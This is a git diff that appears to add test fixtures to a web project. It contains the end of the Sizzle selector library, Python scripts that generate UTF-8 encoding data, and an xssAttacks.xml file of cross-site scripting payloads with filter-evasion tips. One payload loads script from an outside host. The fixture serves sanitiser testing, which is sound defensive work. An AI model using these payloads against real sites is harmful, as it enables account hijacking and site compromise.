+ return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
+ },
+
+ checkbox: function( elem ) {
+ return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
+ },
+
+ file: function( elem ) {
+ return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
+ },
+
+ password: function( elem ) {
+ return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
+ },
+
+ submit: function( elem ) {
+ var name = elem.nodeName.toLowerCase();
+ return (name === "input" || name === "button") && "submit" === elem.type;
+ },
+
+ image: function( elem ) {
+ return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
+ },
+
+ reset: function( elem ) {
+ var name = elem.nodeName.toLowerCase();
+ return (name === "input" || name === "button") && "reset" === elem.type;
+ },
+
+ button: function( elem ) {
+ var name = elem.nodeName.toLowerCase();
+ return name === "input" && "button" === elem.type || name === "button";
+ },
+
+ input: function( elem ) {
+ return (/input|select|textarea|button/i).test( elem.nodeName );
+ },
+
+ focus: function( elem ) {
+ return elem === elem.ownerDocument.activeElement;
+ }
+ },
+ setFilters: {
+ first: function( elem, i ) {
+ return i === 0;
+ },
+
+ last: function( elem, i, match, array ) {
+ return i === array.length - 1;
+ },
+
+ even: function( elem, i ) {
+ return i % 2 === 0;
+ },
+
+ odd: function( elem, i ) {
+ return i % 2 === 1;
+ },
+
+ lt: function( elem, i, match ) {
+ return i < match[3] - 0;
+ },
+
+ gt: function( elem, i, match ) {
+ return i > match[3] - 0;
+ },
+
+ nth: function( elem, i, match ) {
+ return match[3] - 0 === i;
+ },
+
+ eq: function( elem, i, match ) {
+ return match[3] - 0 === i;
+ }
+ },
+ filter: {
+ PSEUDO: function( elem, match, i, array ) {
+ var name = match[1],
+ filter = Expr.filters[ name ];
+
+ if ( filter ) {
+ return filter( elem, i, match, array );
+
+ } else if ( name === "contains" ) {
+ return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
+
+ } else if ( name === "not" ) {
+ var not = match[3];
+
+ for ( var j = 0, l = not.length; j < l; j++ ) {
+ if ( not[j] === elem ) {
+ return false;
+ }
+ }
+
+ return true;
+
+ } else {
+ Sizzle.error( name );
+ }
+ },
+
+ CHILD: function( elem, match ) {
+ var first, last,
+ doneName, parent, cache,
+ count, diff,
+ type = match[1],
+ node = elem;
+
+ switch ( type ) {
+ case "only":
+ case "first":
+ while ( (node = node.previousSibling) ) {
+ if ( node.nodeType === 1 ) {
+ return false;
+ }
+ }
+
+ if ( type === "first" ) {
+ return true;
+ }
+
+ node = elem;
+
+ /* falls through */
+ case "last":
+ while ( (node = node.nextSibling) ) {
+ if ( node.nodeType === 1 ) {
+ return false;
+ }
+ }
+
+ return true;
+
+ case "nth":
+ first = match[2];
+ last = match[3];
+
+ if ( first === 1 && last === 0 ) {
+ return true;
+ }
+
+ doneName = match[0];
+ parent = elem.parentNode;
+
+ if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
+ count = 0;
+
+ for ( node = parent.firstChild; node; node = node.nextSibling ) {
+ if ( node.nodeType === 1 ) {
+ node.nodeIndex = ++count;
+ }
+ }
+
+ parent[ expando ] = doneName;
+ }
+
+ diff = elem.nodeIndex - last;
+
+ if ( first === 0 ) {
+ return diff === 0;
+
+ } else {
+ return ( diff % first === 0 && diff / first >= 0 );
+ }
+ }
+ },
+
+ ID: function( elem, match ) {
+ return elem.nodeType === 1 && elem.getAttribute("id") === match;
+ },
+
+ TAG: function( elem, match ) {
+ return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
+ },
+
+ CLASS: function( elem, match ) {
+ return (" " + (elem.className || elem.getAttribute("class")) + " ")
+ .indexOf( match ) > -1;
+ },
+
+ ATTR: function( elem, match ) {
+ var name = match[1],
+ result = Sizzle.attr ?
+ Sizzle.attr( elem, name ) :
+ Expr.attrHandle[ name ] ?
+ Expr.attrHandle[ name ]( elem ) :
+ elem[ name ] != null ?
+ elem[ name ] :
+ elem.getAttribute( name ),
+ value = result + "",
+ type = match[2],
+ check = match[4];
+
+ return result == null ?
+ type === "!=" :
+ !type && Sizzle.attr ?
+ result != null :
+ type === "=" ?
+ value === check :
+ type === "*=" ?
+ value.indexOf(check) >= 0 :
+ type === "~=" ?
+ (" " + value + " ").indexOf(check) >= 0 :
+ !check ?
+ value && result !== false :
+ type === "!=" ?
+ value !== check :
+ type === "^=" ?
+ value.indexOf(check) === 0 :
+ type === "$=" ?
+ value.substr(value.length - check.length) === check :
+ type === "|=" ?
+ value === check || value.substr(0, check.length + 1) === check + "-" :
+ false;
+ },
+
+ POS: function( elem, match, i, array ) {
+ var name = match[2],
+ filter = Expr.setFilters[ name ];
+
+ if ( filter ) {
+ return filter( elem, i, match, array );
+ }
+ }
+ }
+};
+
+var origPOS = Expr.match.POS,
+ fescape = function(all, num){
+ return "\\" + (num - 0 + 1);
+ };
+
+for ( var type in Expr.match ) {
+ Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
+ Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
+}
+// Expose origPOS
+// "global" as in regardless of relation to brackets/parens
+Expr.match.globalPOS = origPOS;
+
+var makeArray = function( array, results ) {
+ array = Array.prototype.slice.call( array, 0 );
+
+ if ( results ) {
+ results.push.apply( results, array );
+ return results;
+ }
+
+ return array;
+};
+
+// Perform a simple check to determine if the browser is capable of
+// converting a NodeList to an array using builtin methods.
+// Also verifies that the returned array holds DOM nodes
+// (which is not the case in the Blackberry browser)
+try {
+ Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
+
+// Provide a fallback method if it does not work
+} catch( e ) {
+ makeArray = function( array, results ) {
+ var i = 0,
+ ret = results || [];
+
+ if ( toString.call(array) === "[object Array]" ) {
+ Array.prototype.push.apply( ret, array );
+
+ } else {
+ if ( typeof array.length === "number" ) {
+ for ( var l = array.length; i < l; i++ ) {
+ ret.push( array[i] );
+ }
+
+ } else {
+ for ( ; array[i]; i++ ) {
+ ret.push( array[i] );
+ }
+ }
+ }
+
+ return ret;
+ };
+}
+
+var sortOrder, siblingCheck;
+
+if ( document.documentElement.compareDocumentPosition ) {
+ sortOrder = function( a, b ) {
+ if ( a === b ) {
+ hasDuplicate = true;
+ return 0;
+ }
+
+ if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
+ return a.compareDocumentPosition ? -1 : 1;
+ }
+
+ return a.compareDocumentPosition(b) & 4 ? -1 : 1;
+ };
+
+} else {
+ sortOrder = function( a, b ) {
+ // The nodes are identical, we can exit early
+ if ( a === b ) {
+ hasDuplicate = true;
+ return 0;
+
+ // Fallback to using sourceIndex (in IE) if it's available on both nodes
+ } else if ( a.sourceIndex && b.sourceIndex ) {
+ return a.sourceIndex - b.sourceIndex;
+ }
+
+ var al, bl,
+ ap = [],
+ bp = [],
+ aup = a.parentNode,
+ bup = b.parentNode,
+ cur = aup;
+
+ // If the nodes are siblings (or identical) we can do a quick check
+ if ( aup === bup ) {
+ return siblingCheck( a, b );
+
+ // If no parents were found then the nodes are disconnected
+ } else if ( !aup ) {
+ return -1;
+
+ } else if ( !bup ) {
+ return 1;
+ }
+
+ // Otherwise they're somewhere else in the tree so we need
+ // to build up a full list of the parentNodes for comparison
+ while ( cur ) {
+ ap.unshift( cur );
+ cur = cur.parentNode;
+ }
+
+ cur = bup;
+
+ while ( cur ) {
+ bp.unshift( cur );
+ cur = cur.parentNode;
+ }
+
+ al = ap.length;
+ bl = bp.length;
+
+ // Start walking down the tree looking for a discrepancy
+ for ( var i = 0; i < al && i < bl; i++ ) {
+ if ( ap[i] !== bp[i] ) {
+ return siblingCheck( ap[i], bp[i] );
+ }
+ }
+
+ // We ended someplace up the tree so do a sibling check
+ return i === al ?
+ siblingCheck( a, bp[i], -1 ) :
+ siblingCheck( ap[i], b, 1 );
+ };
+
+ siblingCheck = function( a, b, ret ) {
+ if ( a === b ) {
+ return ret;
+ }
+
+ var cur = a.nextSibling;
+
+ while ( cur ) {
+ if ( cur === b ) {
+ return -1;
+ }
+
+ cur = cur.nextSibling;
+ }
+
+ return 1;
+ };
+}
+
+// Check to see if the browser returns elements by name when
+// querying by getElementById (and provide a workaround)
+(function(){
+ // We're going to inject a fake input element with a specified name
+ var form = document.createElement("div"),
+ id = "script" + (new Date()).getTime(),
+ root = document.documentElement;
+
+ form.innerHTML = "";
+
+ // Inject it into the root element, check its status, and remove it quickly
+ root.insertBefore( form, root.firstChild );
+
+ // The workaround has to do additional checks after a getElementById
+ // Which slows things down for other browsers (hence the branching)
+ if ( document.getElementById( id ) ) {
+ Expr.find.ID = function( match, context, isXML ) {
+ if ( typeof context.getElementById !== "undefined" && !isXML ) {
+ var m = context.getElementById(match[1]);
+
+ return m ?
+ m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
+ [m] :
+ undefined :
+ [];
+ }
+ };
+
+ Expr.filter.ID = function( elem, match ) {
+ var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+
+ return elem.nodeType === 1 && node && node.nodeValue === match;
+ };
+ }
+
+ root.removeChild( form );
+
+ // release memory in IE
+ root = form = null;
+})();
+
+(function(){
+ // Check to see if the browser returns only elements
+ // when doing getElementsByTagName("*")
+
+ // Create a fake element
+ var div = document.createElement("div");
+ div.appendChild( document.createComment("") );
+
+ // Make sure no comments are found
+ if ( div.getElementsByTagName("*").length > 0 ) {
+ Expr.find.TAG = function( match, context ) {
+ var results = context.getElementsByTagName( match[1] );
+
+ // Filter out possible comments
+ if ( match[1] === "*" ) {
+ var tmp = [];
+
+ for ( var i = 0; results[i]; i++ ) {
+ if ( results[i].nodeType === 1 ) {
+ tmp.push( results[i] );
+ }
+ }
+
+ results = tmp;
+ }
+
+ return results;
+ };
+ }
+
+ // Check to see if an attribute returns normalized href attributes
+ div.innerHTML = "";
+
+ if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
+ div.firstChild.getAttribute("href") !== "#" ) {
+
+ Expr.attrHandle.href = function( elem ) {
+ return elem.getAttribute( "href", 2 );
+ };
+ }
+
+ // release memory in IE
+ div = null;
+})();
+
+if ( document.querySelectorAll ) {
+ (function(){
+ var oldSizzle = Sizzle,
+ div = document.createElement("div"),
+ id = "__sizzle__";
+
+ div.innerHTML = "
";
+
+ // Safari can't handle uppercase or unicode characters when
+ // in quirks mode.
+ if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
+ return;
+ }
+
+ Sizzle = function( query, context, extra, seed ) {
+ context = context || document;
+
+ // Only use querySelectorAll on non-XML documents
+ // (ID selectors don't work in non-HTML documents)
+ if ( !seed && !Sizzle.isXML(context) ) {
+ // See if we find a selector to speed up
+ var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
+
+ if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
+ // Speed-up: Sizzle("TAG")
+ if ( match[1] ) {
+ return makeArray( context.getElementsByTagName( query ), extra );
+
+ // Speed-up: Sizzle(".CLASS")
+ } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
+ return makeArray( context.getElementsByClassName( match[2] ), extra );
+ }
+ }
+
+ if ( context.nodeType === 9 ) {
+ // Speed-up: Sizzle("body")
+ // The body element only exists once, optimize finding it
+ if ( query === "body" && context.body ) {
+ return makeArray( [ context.body ], extra );
+
+ // Speed-up: Sizzle("#ID")
+ } else if ( match && match[3] ) {
+ var elem = context.getElementById( match[3] );
+
+ // Check parentNode to catch when Blackberry 4.6 returns
+ // nodes that are no longer in the document #6963
+ if ( elem && elem.parentNode ) {
+ // Handle the case where IE and Opera return items
+ // by name instead of ID
+ if ( elem.id === match[3] ) {
+ return makeArray( [ elem ], extra );
+ }
+
+ } else {
+ return makeArray( [], extra );
+ }
+ }
+
+ try {
+ return makeArray( context.querySelectorAll(query), extra );
+ } catch(qsaError) {}
+
+ // qSA works strangely on Element-rooted queries
+ // We can work around this by specifying an extra ID on the root
+ // and working up from there (Thanks to Andrew Dupont for the technique)
+ // IE 8 doesn't work on object elements
+ } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+ var oldContext = context,
+ old = context.getAttribute( "id" ),
+ nid = old || id,
+ hasParent = context.parentNode,
+ relativeHierarchySelector = /^\s*[+~]/.test( query );
+
+ if ( !old ) {
+ context.setAttribute( "id", nid );
+ } else {
+ nid = nid.replace( /'/g, "\\$&" );
+ }
+ if ( relativeHierarchySelector && hasParent ) {
+ context = context.parentNode;
+ }
+
+ try {
+ if ( !relativeHierarchySelector || hasParent ) {
+ return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
+ }
+
+ } catch(pseudoError) {
+ } finally {
+ if ( !old ) {
+ oldContext.removeAttribute( "id" );
+ }
+ }
+ }
+ }
+
+ return oldSizzle(query, context, extra, seed);
+ };
+
+ for ( var prop in oldSizzle ) {
+ Sizzle[ prop ] = oldSizzle[ prop ];
+ }
+
+ // release memory in IE
+ div = null;
+ })();
+}
+
+(function(){
+ var html = document.documentElement,
+ matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
+
+ if ( matches ) {
+ // Check to see if it's possible to do matchesSelector
+ // on a disconnected node (IE 9 fails this)
+ var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
+ pseudoWorks = false;
+
+ try {
+ // This should fail with an exception
+ // Gecko does not error, returns false instead
+ matches.call( document.documentElement, "[test!='']:sizzle" );
+
+ } catch( pseudoError ) {
+ pseudoWorks = true;
+ }
+
+ Sizzle.matchesSelector = function( node, expr ) {
+ // Make sure that attribute selectors are quoted
+ expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
+
+ if ( !Sizzle.isXML( node ) ) {
+ try {
+ if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
+ var ret = matches.call( node, expr );
+
+ // IE 9's matchesSelector returns false on disconnected nodes
+ if ( ret || !disconnectedMatch ||
+ // As well, disconnected nodes are said to be in a document
+ // fragment in IE 9, so check for that
+ node.document && node.document.nodeType !== 11 ) {
+ return ret;
+ }
+ }
+ } catch(e) {}
+ }
+
+ return Sizzle(expr, null, null, [node]).length > 0;
+ };
+ }
+})();
+
+(function(){
+ var div = document.createElement("div");
+
+ div.innerHTML = "";
+
+ // Opera can't find a second classname (in 9.6)
+ // Also, make sure that getElementsByClassName actually exists
+ if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
+ return;
+ }
+
+ // Safari caches class attributes, doesn't catch changes (in 3.2)
+ div.lastChild.className = "e";
+
+ if ( div.getElementsByClassName("e").length === 1 ) {
+ return;
+ }
+
+ Expr.order.splice(1, 0, "CLASS");
+ Expr.find.CLASS = function( match, context, isXML ) {
+ if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
+ return context.getElementsByClassName(match[1]);
+ }
+ };
+
+ // release memory in IE
+ div = null;
+})();
+
+function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+ for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+ var elem = checkSet[i];
+
+ if ( elem ) {
+ var match = false;
+
+ elem = elem[dir];
+
+ while ( elem ) {
+ if ( elem[ expando ] === doneName ) {
+ match = checkSet[elem.sizset];
+ break;
+ }
+
+ if ( elem.nodeType === 1 && !isXML ){
+ elem[ expando ] = doneName;
+ elem.sizset = i;
+ }
+
+ if ( elem.nodeName.toLowerCase() === cur ) {
+ match = elem;
+ break;
+ }
+
+ elem = elem[dir];
+ }
+
+ checkSet[i] = match;
+ }
+ }
+}
+
+function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+ for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+ var elem = checkSet[i];
+
+ if ( elem ) {
+ var match = false;
+
+ elem = elem[dir];
+
+ while ( elem ) {
+ if ( elem[ expando ] === doneName ) {
+ match = checkSet[elem.sizset];
+ break;
+ }
+
+ if ( elem.nodeType === 1 ) {
+ if ( !isXML ) {
+ elem[ expando ] = doneName;
+ elem.sizset = i;
+ }
+
+ if ( typeof cur !== "string" ) {
+ if ( elem === cur ) {
+ match = true;
+ break;
+ }
+
+ } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
+ match = elem;
+ break;
+ }
+ }
+
+ elem = elem[dir];
+ }
+
+ checkSet[i] = match;
+ }
+ }
+}
+
+if ( document.documentElement.contains ) {
+ Sizzle.contains = function( a, b ) {
+ return a !== b && (a.contains ? a.contains(b) : true);
+ };
+
+} else if ( document.documentElement.compareDocumentPosition ) {
+ Sizzle.contains = function( a, b ) {
+ return !!(a.compareDocumentPosition(b) & 16);
+ };
+
+} else {
+ Sizzle.contains = function() {
+ return false;
+ };
+}
+
+Sizzle.isXML = function( elem ) {
+ // documentElement is verified for cases where it doesn't yet exist
+ // (such as loading iframes in IE - #4833)
+ var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
+
+ return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+var posProcess = function( selector, context, seed ) {
+ var match,
+ tmpSet = [],
+ later = "",
+ root = context.nodeType ? [context] : context;
+
+ // Position selectors must be done after the filter
+ // And so must :not(positional) so we move all PSEUDOs to the end
+ while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
+ later += match[0];
+ selector = selector.replace( Expr.match.PSEUDO, "" );
+ }
+
+ selector = Expr.relative[selector] ? selector + "*" : selector;
+
+ for ( var i = 0, l = root.length; i < l; i++ ) {
+ Sizzle( selector, root[i], tmpSet, seed );
+ }
+
+ return Sizzle.filter( later, tmpSet );
+};
+
+// EXPOSE
+
+window.Sizzle = Sizzle;
+
+})();
\ No newline at end of file
diff --git a/tests/data/formatting/utf-8/README b/tests/data/formatting/utf-8/README
new file mode 100644
index 0000000000..5bc6a317d3
--- /dev/null
+++ b/tests/data/formatting/utf-8/README
@@ -0,0 +1,15 @@
+The Python scripts are for generating test data, because Python's Unicode
+support is much, much, much, much better than PHP's.
+
+ * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
+ into a few different formats (%-encoding, %u-encoding, decimal;)
+ and are used like normal UNIXy pipes.
+
+ Try:
+
+ `python urlencode.py < utf-8.txt > urlencoded.txt`
+ `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
+ `python entitize.py < utf-8.txt > entitized.txt`
+
+ * `windows-1252.py` converts Windows-only smart-quotes and things
+ into their unicode decimal reference; equivalents.
diff --git a/tests/data/formatting/utf-8/entitize.py b/tests/data/formatting/utf-8/entitize.py
new file mode 100644
index 0000000000..efa7cb18d5
--- /dev/null
+++ b/tests/data/formatting/utf-8/entitize.py
@@ -0,0 +1,24 @@
+# Generates entitized.txt from utf-8.txt
+#
+# entitized.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def entitize(line):
+ """Convert text to [dec]; entities."""
+ line = line.strip();
+ line = ["%d;" % ord(s) for s in line]
+ return "".join(line)
+
+if __name__ == "__main__":
+ args = sys.argv[1:]
+ if args and args[0] in ("-h", "--help"):
+ print "Usage: python entitize.py < utf-8.txt > entitized.txt"
+ sys.exit(2)
+
+ sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+ sys.stdout = codecs.getwriter("ascii")(sys.stdout)
+
+ lines = sys.stdin.readlines()
+ sys.stdout.write( "\n".join(map(entitize, lines)) )
diff --git a/tests/data/formatting/utf-8/entitized.txt b/tests/data/formatting/utf-8/entitized.txt
new file mode 100644
index 0000000000..a29c9f9216
--- /dev/null
+++ b/tests/data/formatting/utf-8/entitized.txt
@@ -0,0 +1,5 @@
+章子怡
+François Truffaut
+საქართველო
+Björk Guðmundsdóttir
+宮崎 駿
\ No newline at end of file
diff --git a/tests/data/formatting/utf-8/u-urlencode.py b/tests/data/formatting/utf-8/u-urlencode.py
new file mode 100644
index 0000000000..c20a14f1f8
--- /dev/null
+++ b/tests/data/formatting/utf-8/u-urlencode.py
@@ -0,0 +1,24 @@
+# Generates u-urlencoded.txt from utf-8.txt
+#
+# u-urlencoded.txt is used by Tests_Formatting_UrlEncodedToEntities
+
+import codecs
+import sys
+
+def uurlencode(line):
+ """Use %u[hexvalue] percent encoding."""
+ line = line.strip()
+ line = ["%%u%04X" % ord(s) for s in line]
+ return "".join(line)
+
+if __name__ == "__main__":
+ args = sys.argv[1:]
+ if args and args[0] in ("-h", "--help"):
+ print "Usage: python u-urlencode.py < utf-8.txt > u-urlencoded.txt"
+ sys.exit(2)
+
+ sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+ sys.stdout = codecs.getwriter("ascii")(sys.stdout)
+
+ lines = sys.stdin.readlines()
+ sys.stdout.write( "\n".join(map(uurlencode, lines)) )
diff --git a/tests/data/formatting/utf-8/u-urlencoded.txt b/tests/data/formatting/utf-8/u-urlencoded.txt
new file mode 100644
index 0000000000..ad4e422c75
--- /dev/null
+++ b/tests/data/formatting/utf-8/u-urlencoded.txt
@@ -0,0 +1,5 @@
+%u7AE0%u5B50%u6021
+%u0046%u0072%u0061%u006E%u00E7%u006F%u0069%u0073%u0020%u0054%u0072%u0075%u0066%u0066%u0061%u0075%u0074
+%u10E1%u10D0%u10E5%u10D0%u10E0%u10D7%u10D5%u10D4%u10DA%u10DD
+%u0042%u006A%u00F6%u0072%u006B%u0020%u0047%u0075%u00F0%u006D%u0075%u006E%u0064%u0073%u0064%u00F3%u0074%u0074%u0069%u0072
+%u5BAE%u5D0E%u3000%u99FF
diff --git a/tests/data/formatting/utf-8/urlencode.py b/tests/data/formatting/utf-8/urlencode.py
new file mode 100644
index 0000000000..d29907f24b
--- /dev/null
+++ b/tests/data/formatting/utf-8/urlencode.py
@@ -0,0 +1,33 @@
+# Generates urlencoded.txt from utf-8.txt
+#
+# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
+
+import urllib, codecs, re
+import sys
+
+# uncapitalize pct-encoded values, leave the rest alone
+capfix = re.compile("%([0-9A-Z]{2})");
+def fix(match):
+ octet = match.group(1)
+ intval = int(octet, 16)
+ if intval < 128:
+ return chr(intval).lower()
+ return '%' + octet.lower()
+
+def urlencode(line):
+ """Percent-encode each byte of non-ASCII unicode characters."""
+ line = urllib.quote(line.strip().encode("utf-8"))
+ line = capfix.sub(fix, line)
+ return line
+
+if __name__ == "__main__":
+ args = sys.argv[1:]
+ if args and args[0] in ("-h", "--help"):
+ print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
+ sys.exit(2)
+
+ sys.stdin = codecs.getreader("utf-8")(sys.stdin)
+ sys.stdout = codecs.getwriter("ascii")(sys.stdout)
+
+ lines = sys.stdin.readlines()
+ sys.stdout.write( "\n".join(map(urlencode, lines)) )
diff --git a/tests/data/formatting/utf-8/urlencoded.txt b/tests/data/formatting/utf-8/urlencoded.txt
new file mode 100644
index 0000000000..930bf13ff6
--- /dev/null
+++ b/tests/data/formatting/utf-8/urlencoded.txt
@@ -0,0 +1,5 @@
+%e7%ab%a0%e5%ad%90%e6%80%a1
+Fran%c3%a7ois Truffaut
+%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
+Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
+%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf
diff --git a/tests/data/formatting/utf-8/utf-8.txt b/tests/data/formatting/utf-8/utf-8.txt
new file mode 100644
index 0000000000..1596029d20
--- /dev/null
+++ b/tests/data/formatting/utf-8/utf-8.txt
@@ -0,0 +1,5 @@
+ç« åæ€¡
+François Truffaut
+სáƒáƒ¥áƒáƒ თველáƒ
+Björk Guðmundsdóttir
+宮崎 駿
diff --git a/tests/data/formatting/windows1252.py b/tests/data/formatting/windows1252.py
new file mode 100644
index 0000000000..a4fe402703
--- /dev/null
+++ b/tests/data/formatting/windows1252.py
@@ -0,0 +1,27 @@
+# Generates test data for functions converting between
+# dodgy windows-1252-only values and their unicode counterparts
+
+unichars = ["201A", "0192", "201E", "2026", "2020", "2021",
+ "02C6", "2030", "0160", "2039", "0152", "2018",
+ "2019", "201C", "201D", "2022", "2013", "2014",
+ "02DC", "2122", "0161", "203A", "0153", "0178"];
+
+winpoints = []
+unipoints = []
+
+for char in unichars:
+ char = unichr(int(char, 16))
+ dec = ord(char)
+ win = ord(char.encode("windows-1252"))
+
+ unipoints.append(dec)
+ winpoints.append(win)
+
+def entitize(s):
+ return "%s;" % s
+
+winpoints = map(entitize, winpoints)
+unipoints = map(entitize, unipoints)
+
+print "".join(winpoints), "".join(unipoints)
+
diff --git a/tests/data/formatting/xssAttacks.xml b/tests/data/formatting/xssAttacks.xml
new file mode 100644
index 0000000000..017bf1f347
--- /dev/null
+++ b/tests/data/formatting/xssAttacks.xml
@@ -0,0 +1,976 @@
+
+
+
+ XSS Locator
+ ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
+ Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ XSS Quick Test
+ '';!--"<XSS>=&{()}
+ If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus <XSS to see if it is vulnerable.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ SCRIPT w/Alert()
+ <SCRIPT>alert('XSS')</SCRIPT>
+ Basic injection attack
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ SCRIPT w/Source File
+ <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
+ No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ SCRIPT w/Char Code
+ <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
+ Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ BASE
+ <BASE HREF="javascript:alert('XSS');//">
+ Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ BGSOUND
+ <BGSOUND SRC="javascript:alert('XSS');">
+ BGSOUND
+
+ Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ BODY background-image
+ <BODY BACKGROUND="javascript:alert('XSS');">
+ BODY image
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ BODY ONLOAD
+ <BODY ONLOAD=alert('XSS')>
+ BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
+
+
+ DIV background-image 1
+ <DIV STYLE="background-image: url(javascript:alert('XSS'))">
+ Div background-image
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ DIV background-image 2
+ <DIV STYLE="background-image: url(javascript:alert('XSS'))">
+ Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)
+
+ Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
+
+
+ DIV expression
+ <DIV STYLE="width: expression(alert('XSS'));">
